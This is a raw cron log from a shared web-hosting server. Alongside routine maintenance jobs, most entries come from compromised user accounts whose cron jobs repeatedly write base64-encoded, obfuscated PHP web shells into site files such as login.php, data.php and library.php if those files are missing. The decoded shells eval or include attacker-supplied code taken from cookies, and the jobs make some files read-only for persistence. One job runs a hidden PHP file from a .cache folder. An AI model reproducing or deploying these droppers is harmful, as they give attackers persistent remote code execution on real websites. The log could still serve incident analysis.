Jun  7 14:27:01 medusa CROND[8933]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:27:01 medusa CROND[8934]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:27:01 medusa CROND[8936]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:27:01 medusa CROND[8935]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:27:01 medusa CROND[8939]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:27:01 medusa CROND[8943]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:28:02 medusa CROND[10571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:28:02 medusa CROND[10577]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:28:02 medusa CROND[10578]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 14:28:02 medusa CROND[10579]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:28:02 medusa CROND[10581]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:28:02 medusa CROND[10582]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:28:02 medusa CROND[10580]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:28:02 medusa CROND[10583]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:28:02 medusa CROND[10585]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 14:28:02 medusa CROND[10587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:28:02 medusa CROND[10588]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:28:02 medusa CROND[10593]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:28:02 medusa CROND[10596]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:28:02 medusa CROND[10597]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:29:02 medusa CROND[12717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:29:02 medusa CROND[12727]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:29:02 medusa CROND[12728]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 14:29:02 medusa CROND[12729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:29:02 medusa CROND[12730]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 14:29:02 medusa CROND[12731]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:29:02 medusa CROND[12733]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
